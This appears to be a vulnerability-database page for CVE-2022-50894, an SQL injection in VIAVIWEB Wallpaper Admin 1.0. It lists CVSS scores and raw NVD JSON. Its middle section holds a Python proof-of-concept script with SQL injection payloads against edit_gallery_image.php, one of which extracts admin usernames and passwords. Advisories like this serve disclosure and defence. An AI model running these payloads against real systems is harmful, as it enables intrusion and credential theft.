Security Vulnerability Report
中文
CVE-2022-50894 CVSS 6.5 MEDIUM

CVE-2022-50894

Published: 2026-01-13 23:15:51
Last Modified: 2026-01-26 16:15:56

Description

VIAVIWEB Wallpaper Admin 1.0 contains an SQL injection vulnerability that allows authenticated attackers to manipulate database queries by injecting SQL code through the img_id parameter. Attackers can send GET requests to edit_gallery_image.php with malicious img_id values to extract database information.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:viaviweb:wallpaper_admin:1.0:*:*:*:*:*:*:* - VULNERABLE
VIAVIWEB Wallpaper Admin 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2022-50894 SQL Injection PoC for VIAVIWEB Wallpaper Admin 1.0 # Target: edit_gallery_image.php import requests import sys def exploit_sqli(target_url, target_path, img_id_payload): """Exploit SQL injection in img_id parameter""" target = f"{target_url}/{target_path}?img_id={img_id_payload}" print(f"[*] Target: {target}") print(f"[*] Payload: {img_id_payload}") try: response = requests.get(target, timeout=30) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2022-50894.py <target_url>") print("Example: python3 cve-2022-50894.py http://target.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') target_path = "edit_gallery_image.php" # Basic SQL injection payloads payloads = [ "1", # Original parameter "1' OR '1'='1", # Basic bypass "1' UNION SELECT NULL--", # Union-based injection "1' UNION SELECT 1,2,3,4,5--", # Column enumeration "1' UNION SELECT username,password FROM admin_users--", # Data extraction ] print("="*60) print("CVE-2022-50894 SQL Injection Exploitation") print("="*60) for payload in payloads: print(f"\n[*] Testing payload: {payload}") result = exploit_sqli(target_url, target_path, payload) if result: print(f"[+] Response received") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50894", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:51.113", "lastModified": "2026-01-26T16:15:56.107", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "VIAVIWEB Wallpaper Admin 1.0 contains an SQL injection vulnerability that allows authenticated attackers to manipulate database queries by injecting SQL code through the img_id parameter. Attackers can send GET requests to edit_gallery_image.php with malicious img_id values to extract database information."}, {"lang": "es", "value": "VIAVIWEB Wallpaper Admin 1.0 contiene una vulnerabilidad de inyección SQL que permite a atacantes autenticados manipular consultas a la base de datos inyectando código SQL a través del parámetro img_id. Los atacantes pueden enviar solicitudes GET a edit_gallery_image.php con valores maliciosos de img_id para extraer información de la base de datos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:viaviweb:wallpaper_admin:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "CDB42A78-EAEC-481B-8A13-F5218CE66B45"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51033", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.viaviweb.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/viaviweb-wallpaper-admin-sql-injection-via-editgalleryimagephp", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}